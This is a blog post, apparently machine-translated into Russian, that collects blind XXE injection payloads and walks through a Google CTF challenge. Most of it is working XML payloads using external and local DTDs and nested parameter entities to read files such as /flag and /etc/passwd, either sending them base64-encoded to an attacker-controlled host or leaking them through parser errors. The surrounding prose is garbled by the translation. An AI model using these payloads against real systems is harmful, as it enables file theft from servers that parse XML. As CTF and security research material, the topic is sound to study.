XXE инъекции

0x01 опубликовал исходный адрес

Слепой XXE Детальный анализ вопроса с Google CTF

0x02 размещена общая полезная нагрузка

A, Blind XXE

1, внешнийDTD

(1) добавить следующее в ваших серверных DTDфайлов

xml.dtd

     <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip:10001/?%file;'>">
%start;

Затем запрос данных состоит в следующем (с phpкодированием данных протокола передается base64)

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://myip/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>

2, локальный файл DTD

ubuntuСистема поставляется /usr/share/yelp/dtd/docbookx.dtdчастично

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

Во-вторых, на основе ошибки Слепых XXE

Основываясь на принципах данных и OOBт.п., OOBчерез URL - адрес Конфигурация внешних данных из ленты, и настраивается на основе ложной ошибки urlи утечка содержимого файла на urlданных , возвращаемых этим способом.
Так и OOBспособ строительства практически только urlразные, точно так же в других местах.

1, вводя файл сервера

xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message>1234</message>

2, путем введения локального файла

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1234</message>

0x03 Google CTF

темы адрес

Сначала с burpsuite пойманы
Here Вставка рисунка Описание
здесь нашел проблему, на основе jsonк webприменению, а иногда также могут быть отправлены xml, мы будем jsonменять xml, а затем отправитьpayload

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %remote;
]>
<message>10</message>

Но я обнаружил, что если я не ссылаюсь на внешние DTD файлы непосредственно через гнездовые параметрические сущности, этот вопрос можно также сделать это.

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message

0x04 интересное открытие

Я обнаружил , что, хотя W3Cсоглашение не допускается в сущности параметра , указанного в декларации внутренней сущности, но много XMLсинтаксический анализатор не выполняет хорошо эту проверку. Почти все XMLсинтаксический анализатор обнаружил , что следующие два вложенных

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">  
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
]>
<message>10</message>

Но три вложенная сущность параметра строится полезной нагрузкой Некоторых XML - парсер не может быть обнаружен, например, мои двух комбинаций этой тестовой php7.2 + libxml2 2.9.4версии и php5.4 + libxml2 2.9.1эффективно используется

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>10</message>

Это означает , что, без ссылки на внешний DTD может быть достигнуто Blind XXE.

Опубликовано 47 оригинальных статей · вона похвала 2 · Просмотров 3148

рекомендация

отblog.csdn.net/a3320315/article/details/102789157
рекомендация